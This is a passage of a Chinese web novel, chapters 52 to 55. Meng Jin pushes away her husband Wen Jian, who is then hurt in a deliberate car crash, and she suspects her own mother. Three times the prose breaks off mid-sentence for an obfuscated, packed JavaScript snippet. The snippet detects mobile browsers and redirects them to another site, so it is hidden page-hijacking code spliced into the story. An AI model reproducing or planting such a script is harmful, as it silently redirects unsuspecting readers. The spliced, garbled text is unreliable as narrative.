这一瞬间孟瑾是有点害怕他再提起刚刚写日记的事儿的,因为她知道闻见看出来自己说谎了。 闻见说:“一会儿看可以吗?” 孟瑾沉默着,什么都没有说。 闻见把本子放到床头柜上,伸手握住她的手,女孩的手又细又软,他几乎一把就全握住了。 “我没有看过你的日记,但我听了你随身听里的录音,”他没表现出什么擅自动别人东西该有的尴尬,反而很淡定地说:“我听了你给我唱的歌,还有……还有你说的很讨厌我。” “小瑾,那首《十年》,是我想的那个意思对吧?” 52.第 52 章 话落,周遭一瞬陷入沉默。 孟瑾一眨不眨盯着面前窗帘紧闭的窗户,没有回答他的话。 《十年》是他们上学那会很流行的一首歌,就算平时几乎不听歌的人,旋律响起的时候也都能跟着哼两句。 但当时孟瑾听着却没有很深刻的感触,只是觉得歌词挺有意思,就顺手留在歌单里了。 出国后,要做的事情越来越多,她每天都忙着应付工作学习还有各种琐事,连吃饭睡觉的时间都不够,听歌什么的就更没时间了。 孟瑾真正喜欢那首歌是在前年冬天,在她二十六岁生日那天,她记得那天米兰的天气并不好,一整天都在下雨。 空气潮湿又冷。 穿羽绒服,穿棉衣都挡不住带着潮气的冷风,那风好像能透过衣服钻进人的骨缝里,透过皮肤吹进人心里——会让她有种“四处漏风”的无力感。 孟瑾从小就讨厌下雨,不管冬天还是夏天,也不管会不会打雷,只要下雨她就觉得很讨厌。 孟瑾想了很久才想明白,大概是下雨的时候思绪会不受控制,会让她想起很多以前的事,而她恰好又不是个喜欢回忆,喜欢想别人的人。 唐婉清说得对,她生来就是薄情、自私的。 她不喜欢想任何人,包括过去的自己。 虽然那天是她的生日,虽然她并不打算出门,但最后孟瑾还是被宋天宇拉着去跟他朋友喝酒了。 喝了很多。 喝到中途,孟瑾突然感觉胃很疼,刚开始还是一抽一抽的,可以忍受。 但很快,就疼得她额头都开始冒汗了,整个身子都有些软,孟瑾白天就因为唐婉清语气很不好的叫她跟宋天宇来应酬憋了一肚子火,这会儿更是莫名火大,她咬了咬牙,抬头跟宋天宇说了句:“我不舒服,先回去了。” 宋天宇闻言并没当什么大事,看到孟瑾一直捂着胃,还跟别人一起开她的玩笑,一边拉着胳膊不让她走。 直到看到孟瑾刷然冷下来的脸,他才收敛了一点,说:“不严重吧,要不你喝点水缓缓,反正也快散了,等会儿散了我送你回去,行了吧?“ 孟瑾没再理他,直接一把甩开胳膊,直接扶着沙发站起来,摇摇晃晃走出了KTV。 外面雨还在下,淅淅沥沥的。 街上路过的人和车都很少。 孟瑾胃疼得厉害,脚上又踩着高跟鞋,走路都很不方便。她本来想打车去医院的,可是胃实在太疼了,她站在路中间试了好几次,最终也没抬起胳膊来。 孟瑾抬头看着周遭陌生的城市,陌生的人们,突然没忍住笑了,笑得有些大声,笑得眼泪都出来了…… 笑着笑着,她又蓦地仰起头,看着自己来了六七年依然融不进的城市,依然陌生的天,冰冷的雨水一滴一滴砸下来,砸到她的脸颊上,砸到她的眼睛里:既然怀抱不能逗留,何不在离开的时候,一边享受,一边泪流。 孟瑾听到有人在唱歌,她下意识蓦地回头,眼里就撞进了一双很亮很亮的,如星空般璀璨的浅棕色眼眸。 那是个瘦瘦高高穿黑色冲锋衣的男生,除了眼睛,他长得并不像闻见,五官轮廓都比他柔和,睫毛很长,风格也是那种奶乖形的。 可在那一刻,在那一瞬间,孟瑾脑中闪过的却全都是闻见,是那个藏在她记忆深处从来没有被遗忘的少年;是很多个夕阳余晖下,他清俊好看的侧颜,是那年高三大雨如注,他义无反顾向她跑来,伸手举过她头顶的大黑伞,是少年站在昏黄的路灯下,寂寥落寞地垂着眸子,声音嘶哑又认真地跟她说:“孟瑾,只要你回头,我就在原地。” 还有更久之前,更为模糊的,很多很多,全都是关于他的。 她来到米兰这么多年,几乎每次下雨,思绪都会这样不受控地让她想起很多以前的事,想起很多跟他有关的事…… 大概两三秒的样子,男生主动走过来,然后笑着伸手说:“你好,是华人吗?” 孟瑾闻言回过神来,她的脸上依旧没什么表情。 她点了一下头,转身要走。 身后的男生却又追过来,他说:“姐姐,你是不是不舒服呀?我送你去医院吧。” 孟瑾闻言犹豫了一下,最终还是轻轻点了一下头。 其实当时她身体不舒服是一个原因,还有一个更重要的原因是;孟瑾在那个男生的眼里看到了闻见的影子,她不忍心,也没有勇气再拒绝他一次。 也是从那天开始,她开始喜欢听《十年》,有时也会自己唱,没有什么特别的原因,如果非要找一个的话。 大概是在怀念十年前的自己和他,虽然不勇敢,但却很幸运。 至于随身听里的录音,其实是孟瑾的另一手准备,她当时想的是,如果自己被宋天宇他们发现回不了国的话,就把那个当作证据寄回来,让闻见帮忙交给警方。 两人只是普通同学,又这么多年没见了,其实不应该麻烦他的。 孟瑾都知道。 可是她在国内认识的人本来就不多,这种事情也不能交给一班朋友去做,自己不放心是一方面,而且万一失败了,就不知道又要给别人带来多少麻烦。 当然,她还可以把东西交给朵朵,陈朵朵肯定会帮她的,可是孟瑾又想了想,还是觉得闻见做事认真又能沉住气,所以还是他比较合适。 这些事情盘根错节的,本就不是一两句话能说清楚,她也没有想到后来自己回国会遇上闻见,更没有想到,两人会一时冲动结婚,会成为现在这种关系。 在她的预想中,闻见早就应该是爱情事业双丰收,有一个与他齐头并进,举案齐眉的妻子,家里还有个可爱懂事,像他一样漂亮的孩子。 他早就应该是人生赢家了啊。 可是,谁能想到呢? 她给他唱的歌到底是什么意思呢? 说真的,孟瑾自己也不知道。 她当时以为两人不会再见面了,甚至闻见可能连录音都收不到,加上那天又在下雨,她一时没忍住心中的波澜,就唱了几句。 孟瑾轻轻闭了闭眼睛,回过神来想抽回自己的手,奈何手被闻见牢牢牵着,她试了好几下都没抽回来。 她又转头看过去,说了句“段位很低”的:“不是。” 孟瑾知道,就此时此刻而言,哪怕是自己反问一句“你理解的是什么意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190453|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,都比这句不是可信度高得多,可她就是很笨的说了一句不是。 可能闻见也很不理解,她明明一天能说几百回不喜欢他,怎么偏偏说到那句歌词孟瑾却说不出来了。 闻见没有说话,看着她眨了眨眼睛,表情像是很困惑。 孟瑾不是不想和他一起面对,也不是想做胆小鬼。 只是当年离开她就决定不再给彼此后悔的机会了。 路是她选的,不管未来如何她都能接受,但她并不想拉着闻见一起。 “闻见。” 孟瑾仰头吐了一口气,侧目看着他的眼睛,轻声说:“你小时候见过叔叔吗,他跟阿姨很相爱是不是?真正的爱情就是那样的,会不顾一切,头破血流也要往对方的世界里挤,就算嘴巴不说,爱意也会从带着笑意的眼睛里溢出来。可是我们不是,我们从来就不爱对方,不然怎么能受得了十多年不见面,怎么能忍住不去打听对方是否已经有了家庭。” “我承认我对你有愧疚,还有自责,因为你一直都是个很好的人,但是我又辜负了你,所以我觉得很抱歉,对你的感情也比普通朋友复杂一些,但那并不是喜欢,我曾经很认真的喜欢过,知道真正的喜欢是什么样的。” 说着,又伸手摸了摸他的脸颊,“闻教授,给个面儿别再执着了呗?你知道吗?你放不下的其实并不是我,而是你的青春,你这么多年的坚持和等待,用现在的流行语说,就是自己的心魔。答应我,勇敢走出来,张开双手拥抱自己,拥抱世界,不要再这样画地为牢控着自己了,好不好?” “不然,我过几天回去意大利也不放心的,我会觉得是自己又辜负了你一次,又伤害了你一次,我也会不开心,也会很自责的。”她抬头看着他红红的眼睛,很认真地说:“所以闻见,我们做回朋友吧,别再这样互相折磨了,好吗?” 闻见还是一眨不眨看着她,没有说话,也没有动。 似是在判断孟瑾的话有没有可信度,可是,他知道自己看不出来。 她藏得太好了,甚至连她自己都能骗过去……所以闻见看不出来,他什么都看不出来。 但他觉得孟瑾有一句说得是对的,真正的爱是头破血流也要挤进对方的世界,而他却为了坚守一句自己的承诺,在原地等了那么多年。却从来没有义无反顾出现在她面前,给她拥抱,让她相信,自己说的喜欢她,要等她从来都不是说说而已。 也或许,或许孟瑾说的都是对的,他其实并没有那么喜欢她,他之所以如此心痛,只是因为这么多年的坚持突然化为泡影,有些无错,有些不甘…… 是这样吗? 应该……应该就是这样吧? 闻见后仰靠到椅背上,闭着眼睛,一遍遍在脑子里想着这些话,他试图用这种方式说服自己,说服自己听孟瑾的话,给她想要的自由,真正的爱。 然而最后的最后,他还是蓦地扑过来,不管不顾将她紧紧抱在怀里,低头把脸埋进她的颈窝,耍赖似的:“不,不是的,小瑾,你说的那些是别人爱人的方式,我在用我自己的方式爱你,我的爱是独一无二的。” “求你,求你别再丢下我了……好吗?” 53.第 53 章 闻见说得对,爱是无形的,是独一无二的,谁都有自己爱人的方式,无需看谁的模板,他的爱就是最好的。 闻见虽然从来没有去欧洲找她,看她,给她拥抱,向她证明自己有多爱她。 可是他的爱却是最能拿得出手,是能让她疯狂长出血肉,是让她与这世界抗衡的底气。 世间纷扰,她还有他的爱,至死不渝的爱,便不算辜负—— 孟瑾其实最怕闻见这样了。 她静静的让他抱着,什么都没有说。 闻见平时跟她一本正经的讲道理,侃侃而谈的“上课”,她都能应付,都知道该怎么办,甚至能有八百个反问在后面等他。 可是唯独现在这样,唯独闻见跟她撒娇耍赖,像大黑一样不讲道理黏着她,蹭着她,孟瑾就真的一点办法都没有。 她抿了抿唇,还是没有说出话,抬手一下下轻拍着他的背。像是在安慰,又像是无法回头的决绝。 两人就维持着那个姿势过了好久好久。 孟瑾终于攒够力气伸手推开他,然后转身把睡裙套上,拿上笔记本,回了自己的房间。 她不知道那晚闻见在床边坐了多久,想了些什么,有没有听进她说的话,是否已经决定了放手。 她什么都不知道。 但她希望他好,真的希望他好。 希望他事事都好。 晚上洗澡的时候,她低头看着自己身上闻见留下的那些痕迹,那些深浅不一,形状各异的痕迹。 她又自顾自翘着嘴角笑起来,心想:原来这就是做他老婆的感觉么?还挺神奇的,虽然身上被他弄得很疼,但她心里却很踏实。如果时间能再长一点,机会能再多一点,该有多好啊…… 不过,这些感慨也只是一瞬间的事。 她知道两人走到今天这一步,已经很难再回头了。 晚上睡不着,孟瑾在小工作台上干活的时候,脑袋里还插科打诨的想,她把闻见伤的这么深,以后他结婚可能都不会再叫自己了。 是她拿刀亲手割断了与他所有的缘分,从此刻起,就是连表面朋友都做不了的陌路人。 她希望闻见能利用这个机会把她忘掉。 此日是周二,闻见正常去学校上班,孟瑾因为外面雪太大,懒得出门,就在家里待着。 中午她去厨房给自己煮了一包泡面 ,还握了一个鸡蛋,加了一把菜。 看着很丰盛的样子。 吃着也很好吃,虽然自从高中有一次她因为拆不开泡面包装被唐婉清骂了一顿,之后就再也没吃过泡面,甚至看见都想吐。 但也不知道为什么,今天她给自己做的这个就是很好吃,到最后,孟瑾甚至连汤都没剩下。 傍晚时分,雪停了。 窗外残阳如血的落日余晖将周遭白茫茫一片照得很亮,就连客厅的沙发上都被镀了一层暖光。 孟瑾懒懒地侧躺到沙发上,无意识把手伸进那片暖光里,又想起了闻见中午给她发来的消息。 他说她昨晚在笔记本上写的那些字,其实都是一个意思,只是用不同书法写出来而已,那句话问的是“她能看懂吗”? 原来那位苏小姐真的有话要跟她说,可能她也意识到孟瑾听不懂她的话,所以想用文子与她交流。 以防她连字也看不懂,苏小姐还很贴心地用了好几种字体。 “魏晋时期战乱频发,书法货币都不统一,所以他们那时候写的字体也有好几种。”闻见见孟瑾回消息,就知道她已经起了,他直接打电话过来跟她说:“那位青衣女子应该是有什么话要跟你说,尝试了几次都没成功,她就意识到了我们听不懂她说的话,想用书信的方式和你交流?” 他又说:“不过,这些都只是我的个人推测,不确定是不是对方想表达的意思,只能给你做个参考。” 孟瑾:“我也这么觉得。” “但是,我也看不懂她写的是什么啊……”她说着,不自知的叹了口气,声音有些低:“班长,你都不知道,我感觉我有点辜负那位苏小姐的期待了,或者她刚开始就应该去找你,你懂得又多,心思又细,如果她有什么需要帮忙的,你肯定能帮到她。” 闻见闻言笑了笑,语气有些宠溺地说:“没事儿,她如果真有什么事需要帮忙的话,就你帮她我再帮你呗。” 那样的话,我就有更多机会和你说话了,虽然说的都是别人的事。 孟瑾愣了愣,很快,她就反应过来什么,忽然很警惕地问:“什么意思?你又不想离婚了?” 闻见:“没有。” 闻见:“我从来都不想离。但我也说了,我不会强迫你,你要做什么都是你的自由,我都会尊重的。” 孟瑾张了张嘴,竟然没说出话来。 他这死心眼的性子怎么那么像大黑? 不知道人还以为你俩是素未谋面的亲姐妹呢…… 女孩被她气的咬了咬牙,一边在心里吐槽,一边语气不太好地说:“懒得跟你说,挂吧。” “好,那我晚上回来的时候去资料室找些关于梦境学的资料吧,说不定还能用上呢。”闻见说着,自顾自把手机放到嘴唇边亲了亲,忽然又笑起来:“先别挂,让我再说最后一句!” 他什么时候还有预判功能了? “……”孟瑾:“几个字?” 闻见想了想,没说话,去微信上给她打了一行字:最多能说几个字? 孟瑾看到他这操作,莫名有点想笑,她抿了抿唇,故意冷着声道:“三个。” 她又说:“消息也算。” 闻见那边不说话了,似是在想什么语言压缩包,过了半晌,孟瑾才听见他很认真地说了一句:“我爱你。” 然后没等孟瑾再说什么,主动把电话挂了。 孟瑾回神弯了弯唇,自言自语似的:“一天天油嘴滑舌的,哪里像个稳重的教授样儿?” 正想着,扔在茶几上的手机却很突兀地响起来。 孟瑾被吓了一跳,反应过来才爬起来看,是个本地陌生号码——她用的还是旧手机,这号码知道的人也不多,除了闻见和闻女士,就只有陈朵朵唐婉清他们几个人知道。 何况,现在天都快黑了,除了他们几个,谁还会在这个时候给她打电话? 要是搁平时孟瑾早就接了,可今天也不知道为什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203361|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她心里忽然觉得有些不安。 手机上,时间显示的是晚上十八点三十,都这么晚了,闻见怎么还不回来? 她顺手抓过沙发上的抱枕抱在怀里缓了缓,把电话接通了。 “喂,你好。” 电话那头是一道男声,他语气算不上好地说:“我是陈雨,班长出车祸了,我没跟阿姨说,你过来吧,手术需要家属签字。” 孟瑾闻言一滞,须臾,语气听不出任何起伏地说:“好,是急诊吗?我马上就到。” “不是急诊,是胸外科,住院部,5楼。” 孟瑾又说了一个好,随即,很平静地把电话挂了。 孟瑾起身准备去医院,结果出师不利,抬腿就踩到了旁边福袋的尾巴,福袋哼哼唧唧从睡梦中醒来,奇怪地看了她一眼:“旺旺!“ 她回过神来,一边抱歉地摸摸它的脑袋,一边踉跄着跑过去开门,谁料开了半天,那门就是死活开不开。 孟瑾这才察觉到自己快如擂鼓的心跳,手也在跟着抖,抖得连钥匙都插不进钥匙孔,她又气又急,冷汗都快下来了,直接抬手在自己的手腕上咬了一下,门总算开了。 闻见向来认真专注,开车的时候连一句多余的话都不说,他的车祸肯定不是自己不小心造成的。现在是下班晚高峰,几乎每个路口都有巡逻的交警指挥交通,这会儿去幼儿园、小学接孩子的家长基本也都回来了,因此,有人误闯红灯导致道路混乱的概率也很低。 所以闻见好好的怎么会出车祸? 或者是宋天宇还是卓洋吗? 他们……才两天就等不及了吗? 他们会对闻见下死手吗? 孟瑾脑袋里恍恍惚惚想着什么,一路风驰电掣赶到医院,但是闻见已经被推进手术室了,由于他的伤势比较严重,情况也很复杂,医生怕再耽误下去会出人命,就没再等家属签字了。 所以孟瑾紧赶慢赶还是没有见到闻见的面。 她一眨不眨站在空旷的医院走廊里,周遭没有别人,头顶的白炽灯很亮,亮得很刺眼。 刚刚出门走得急,孟瑾连外套都没有穿,上身只有一件丝毫不抗冻的打底衫,脚上也踩着拖鞋,这会儿被四面的冷风一敲,她整个人都感觉有些懵。 “主刀医生是闻阿姨的朋友,从小看着班长长大的,由他亲自操刀,应该没什么问题。”穿白大褂的陈雨说着走过来,伸手递过来一个文件夹,又说:“先签一下字吧,一会儿我去存档。” 孟瑾点头接过,不知道是太冷了还是怎么,她手抖得有些拿不住笔,写了三四次才勉强写好自己的名字。 “给。”她声音很低地说了一个字。 对方伸手却没接到。 他有些莫名,抬头看着她:“怎么?” 孟瑾闻言终于抬眸看来,她一双眼像是充了血,很红很红。 她的语气依然很平静,嗓音却哑得厉害:“闻见他……他伤的严重吗?” 说话时,她的声音表情都很正常,正常的就像在打听一个无关紧要的人。 然而只有孟瑾自己知道,说出这几个字的刹那,她被扯得粉碎的心到底有多痛。 54.第 54 章 夜晚的手术室门口静谧空旷,浓烈的消毒水味呛得让人有些不敢大口呼吸,孟瑾抬头看了眼仍在“手术中”的红灯,片刻,又慢慢垂下去。 方才陈雨跟她说,闻见的车是在一个十字路口被前车追尾了,后面还有超车的,看着并不像普通的交通事故,交警那边已经联系公安局立案了,警察现在就在旁边等她,说是有话要问。 她手里紧紧捏着闻见的手机,也是刚刚陈雨给的,他说,里面有闻见察觉有人跟踪后给她留的录音。 孟瑾转身坐回旁边的休息椅,闻见的手机密码之前一直是她生日,但前两天听说孟瑾不过生日,他就把密码改了,改成了他们结婚的那天。 孟瑾都知道。 因为闻教授他太笨了,他做什么从来都不防着她,开手机也是,孟瑾一抬头就看到了。 孟瑾眨了眨干涩的眼睛,细白的手指在泛着荧光的手机屏幕上迟疑了好久,终于下定什么决心般深吸一口气,然后一鼓作气打开了他的录音。 只听闻见说:“本来想着今晚回去给你做糖醋小排的,我连菜都买好了。” 孟瑾吸着鼻子笑了笑。 眼睫一下湿了…… 她说:“那你干嘛不早点回来?我都要饿死了。” “嗯,”录音里的闻见默了片刻,忽然严肃下来说:“小瑾,我要是死了你也别自责,我喜欢看你笑,不想你哭。” “那天晚上见你哭,我的心都碎了,我不知道怎么才能哄好你……所以以后我要是不在你身边,你也要记得开心,别为我难过。我爱你是我自愿的,不要你等价交换什么,也不要你施舍我,我只想你开心,只想你好好做自己,知道吗?” 孟瑾蓦地熄灭了手里的手机,她的神色刹那愣住,但表情看不出什么,安静片刻,她又咧嘴笑了笑,眸子里的眼泪突然狠狠砸下来,噼里啪啦如断了线的珠子糊了她一脸。 “不……不是施舍,不是施舍,我爱你,我真的爱你……”孟瑾的头被不知何时赶来的闻女士轻轻揽进了怀里,她抬手紧紧抱住她的腰,抽抽噎噎哭得跟个孩子似的:“我不是……我不是因为你喜欢我才爱你的,我是真的爱你,真的好爱你。我不想你死,不要你死,不要你离开我,不要离开我……” “不会,他不会离开的。” 孟瑾闻言,傻愣愣地抬起头,看着面前闻女士红红的眼睛,看着她瞬间变得苍老憔悴的面容,她就觉得自己是个罪人,自己是该去死的那个人。 如果闻见当年没有遇见她,没有喜欢她,他就不会为了年少时的一句承诺,为了一个等不回来的人,一等就是十多年,浪费了自己大好的青春,错过了那么多优秀的女孩,如今还要跟着她一起担惊受怕,还要因为她被别人算计,躺在冰冷的手术台上,生死徘徊。 让闻女士担心,让她害怕。 又或者在几个月前,在他们重逢后,她没有一时冲动跟他结婚,事情也不会变成现在这样,闻见和闻女士也不会被她连累。 他们本该像这尘世间任何一个普通家庭一样,过着平淡幸福的生活,就是因为遇见了她,闻见和闻女士才遇到了这么多糟糕麻烦的事。 她怎么忘了,从小到大,她一直都是那个不幸的人。 跟她有关的人也都会变得不幸的。 须臾,孟瑾回过神来,她轻轻眨了眨眼睛,心想;小时候都懂的道理,怎么长大反而不懂了? 她有点不敢面对闻女士,也不敢在她面前叫闻见的名字。 不敢再叫她妈妈。 孟瑾抿了抿唇,声音小小的,仿佛认罪似的哽咽着说:“阿姨,对不起,是我连累了他,是我害了他,班长是因为我,因为我才……” 闻女士抬手摸了摸她的脑袋,动作很轻柔,像在安抚她,又像是透过她摸了摸自己的儿子,她说:“不是你的错,是那些坏人的错。闻见会没事的,我不怪你,你也别再自责了。” “闻见是我的孩子,他受伤我会担心,可是你也是我的女儿呀,你难过我也会心疼的。振作一点,我们都要振作一点。”闻女士说着重新把她揽进怀里,一下下轻拍着她的背:“等闻见出来,等他好了,妈妈还要帮你们办婚礼呢。” “你可不能把自己的身体熬垮了,知道吗?看你,着急忙慌的出门衣服也不穿,这天多冷啊,这样坐一晚上肯定要感冒了,你等我一下,我去给你借件衣服穿。” “妈……妈妈,你不要走,”孟瑾下意识伸手牵住她的手,眼睛红红的看着她,勉强扯笑:“我朋友一会儿就过来,她会给我拿衣服的。你别走,我、我有点害怕……” 正说着,手里拿着羽绒服的陈朵朵就三步并两步跑了过来,她一边潮闻女士点头说了句阿姨好,一边迅速把衣服披到孟瑾身上,又问:“怎么样?进去多久了?医生说了么,大概多久才能出来?” 孟瑾摇摇头,没有说话。 陈朵朵点头表示自己知道了,又抬头看向旁边的闻女士,轻轻一笑,说:“阿姨,您也别太担心了,先坐一下吧。小瑾她就是太着急班长了,也忘了招呼您,您千万别跟她一般见识啊。” 闻女士点头笑笑,坐到旁边了:“没事儿,我知道她着急,你也坐吧,不用客气的。” 陈朵朵点头,又笑了笑,心里忍不住感叹:小瑾这婆婆可比她那个妈好多了,要是换做她妈在这儿,指不定又要闹出什么事了。 一边伸手捏了捏孟瑾的手,帮她回过神来,又道:“小瑾,刚刚我过来的时候,有几位警察同志在那边,说是找你了解些情况,要不我陪你过去吧?” 孟瑾:“不用了,我自己过去就行,你在这帮我陪一下妈妈吧。里面要是有什么情况……” 她想说什么,可是话到一半,她又说不出来了。 陈朵朵都不用猜就知道是什么事:“放心吧,等大班长出来,我第一个来叫你。” 孟瑾点头,没再说什么,起身慢通通走了。 她不知道警察找她要问什么,也不知道这场车祸的幕后主使到底是谁,但她能确定的是,这件事情肯定跟宋家跟卓阳脱不了干系,如果真的是那样,那他们的下一个目标又会是谁?是朵朵还是闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212715|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女士? 不行,她不能再这样坐以待毙,任人宰割了。 她一定要做点什么,要保护好身边的人才行。 大不了鱼死网破,她没什么好怕的,既然他们要把事情做得这么绝,不肯让她好过,那她也不想再忍,不再客气了。 警方那边果然已经开始怀疑宋家了,只是现在还没有证据,他们也没跟孟瑾说什么具体的事,就问了问她在意大利跟宋天宇一起的时候有没有听到,或是看到什么奇怪的人,异常的事。 孟瑾轻轻笑了一下,没有正面回答,而是说她听不懂他们问的是什么意思。 那位年长点的警察闻言立刻察觉到什么,他笑着拍了拍旁边一直在问的年轻刑警的肩,示意他先别说了。 一边笑着跟孟瑾说:“小姑娘你先坐,喝点水吧,别紧张,别误会啊。我们就是随便问问,你在那边过得怎么样啊,习不习惯之类的,没有别的意思。” “哦,对了,当年你爸爸的案子就是我先接的手,你还记得吧?后来要不是你们家属执意要撤案,转去了调节组,说不定,唉……当然,那也是你们作为家属的权利,我没有理由过问的。只是方才看见你突然又想起来,觉得有点可惜。” 孟瑾抿了抿唇,依然没有说话。 她知道对方在用转移话题的方式降低她的警惕,然而脑袋里还是不由自主一幕幕播放起了当年的事情,当年孟强东的案子明明已经查得很清楚了,那些人也都认罪了,承认自己就是没满十八岁,有恃无恐故意杀人的,虽然当时涉及未成年确实不太好判,但并不是完全没有可能的。 孟瑾找律师了解过,他们只要能找到孟强东救了的那个高中男生,请他出面作证,指认那些人是故意杀人,他们就有很大概率打赢那场官司。 可是就在开庭的前一天,唐婉清却瞒着所有人去公安局撤了案,且签下了永不翻案的保证书。孟瑾后来知道人都懵了,她问她为什么要那么做,唐婉清也不说,她只是一个劲儿地哭,哭着说一切都是为她好,为她将来好。 孟瑾很不理解,她跑去找警察,可是警察说合同已经签了,钱也已经收了,他们也没有办法。 爷爷奶奶知道后很生气,他们只有孟强东一个孩子,如今人不在了,公道也讨不回来,他们说下半辈子再也没有指望了,后来爷爷奶奶哭着闹了一通,就回农村老家了,临走,还说这辈子再也不会让她们娘俩进门,不会再让她们回去,就当不是亲人,从来没有认识过。 孟瑾过了几个月回去看,发现爷爷奶奶真的搬家了,房子也卖了,没有人知道他们去了哪里。 年长些的刑警趁着她走神,突然出声问道,“孟小姐,你一点都不知道宋家的事对吗?” 孟瑾握着手里闻见的手机,忽然抬头看着他不答反问:“我丈夫闻见的车祸,不是意外对不对?” 两位警官互相看了对方一眼,然后点头说:“是,据肇事者交代,他是受了一位女士所托。” 尽管是预料之内的,但孟瑾还是不敢相信自己的猜测:“是我妈……唐婉清吗?” 55.第 55 章 手术结束已是后半夜,因为伤到了额头和腿,身上也有多处骨折,所以手术时间有些长,足足五个多小时闻见才被推出来。 打了麻药的缘故,他从手术室被推到病房一直都是睡着的,他的脸色很白,头上也被绑了绷带,但是医生说手术进行的很顺利,目前已经脱离危险了,就不用去 ICU病房了。 到了病房,闻女士陈雨,还有朵朵都围在床边看他,向医生询问情况,只有孟瑾一个人远远地站着,没有过去,她静静看着被所有人包围的闻见,此时夜深人静的,医院里也静悄悄,他的身边却很热闹,全都是发自内心的爱意和笑,全都是真心希望他好的人。 等闻见安顿好,医生护士都退出病房,孟瑾才走过来,说时间已经很晚了,让朵朵先陪闻女士回去休息,等白天再来换她。 家里没有其他男性亲戚,孟瑾是闻见的妻子,又年轻力壮,理应留在这里照顾。 闻女士没有跟她客气,交代了几句注意事项,临走,又不放心地牵了牵她的手,牵了一手的凉,她狐疑地抬头看来,有些担心:“不是穿羽绒服了吗?怎么手还这么凉?不要是感冒了,不然你去急诊看看吧?” 陈朵朵也在旁边附和着点头,“就是就是,万一你也病倒的话,就更没人照顾大班长了。” 孟瑾笑着摇摇头,说了句没事,见两人还是一脸担忧,她又说:“我真没事,如果感觉不舒服的话,我会去找医生的。你们快回去吧,不然睡不了多大一会儿天就亮了。” 闻女士欲言又止,最终还是点了点头,“那你自己当心,我明天早上做好吃的来换你。” 她点头笑了笑,目送两人离开,才扯了把椅子坐到闻见床边。 Vip病房都有家属休息的位置,但孟瑾没有过去,她一直都在床边坐着,一直牵着他的手,表情淡淡的,眼眶却很红。 整个人看着薄薄一片,比病床上的闻见还要让人心疼,闻女士和陈朵朵在外面看了一会儿,回到家闻女士又忍不住叹气。 “小瑾这孩子心思太重了,什么事都憋在心里,不肯跟人说,也不知道晚上警察找她说什么了,回来几乎就没说过一句话。” 明明之前听到闻见的录音她还是有反应的,怎么好好的又把自己缩回壳里了? “我也不知道,可能是关于车祸的事吧,”陈朵朵也叹了口气,说:“她也没跟我说什么,但是我感觉今天晚上小瑾就是很奇怪,好像比之前心思更重了,以前有什么事她都会跟我说的。” 闻女士给她倒了杯水递过来,又转身坐回床沿上:“也怪闻见,他太死心眼了,不会关心人,没帮小瑾把心里的结打开。” 闻见毕竟是闻女士的儿子,她可以随便说,陈朵朵却不能跟着附和。 她弯起眼睛笑了笑,没有说话 ,一边在心里默默吐槽:可不是嘛,要是我的话,早就去意大利找小瑾八百回了!也不至于弄成现在这样。 他俩怎么样不知道,陈朵朵光是在旁边看着都要愁死了。 都不知道什么时候是个头。 翌日早上天气很好,金灿灿的光带透过窗户照着雪白的病房很亮很亮,让人看着心里也亮堂了不少。 孟瑾还是静静坐在椅子上,脑袋里空空的,视野也空空的,什么都想不起来。 什么都看不到。 从小到大,她的人生似乎总是这样,总是一片空白。 甚至连茫然都没有。 直到,孟瑾放在床边的手指被人勾了勾。 闻见动作很轻柔,仿佛受伤的人是她一样。 孟瑾侧头看去,看到他亮亮的眼睛,突然笑了。 她也不知道,就是看见他醒来就想笑。 闻见看见她笑,自己也笑起来。 “一晚上没睡吗?”他问。 孟瑾先是点头,又摇摇头。 “刚刚在想我吗?”闻见又说。 孟瑾还是摇头,摇完又笑了笑。 眼角眉梢皆挂着璀璨的光,比窗外的冬日暖阳更令他沉醉,令他向往:“但是我想你了,我好想你。” 孟瑾弯腰凑近在他唇角亲了亲,一边反手握住他的手,轻声道:“头疼不疼?还有胳膊、腿,还有肋骨,是不是都很疼啊?” 闻见也捏了捏她的手,她的手还是很凉,凉得他整个人清醒又迷茫。 他摇头表示自己不疼,又眨了眨眼睛,忽然意识到什么,严肃下来说:“小瑾,你决定要走了吗?你……你不要我了吗?” “我不疼的,我什么都不怕,你别觉得是你连累了我,我……” 不等闻见把话说完,孟瑾就低头吻住了他的唇,她的举动来得热烈又突然,闻见一时都没有反应过来,过了好一会儿,他才感觉到脸颊冰冰凉凉的,似乎是孟瑾把眼泪流到了他的脸上。 她的嘴唇也很凉,她整个人都很凉。闻见想抬手抱住她,想给她温暖,给她怀抱,可是他的胳膊却被打了石膏,吊在半空中,一下也动不了。 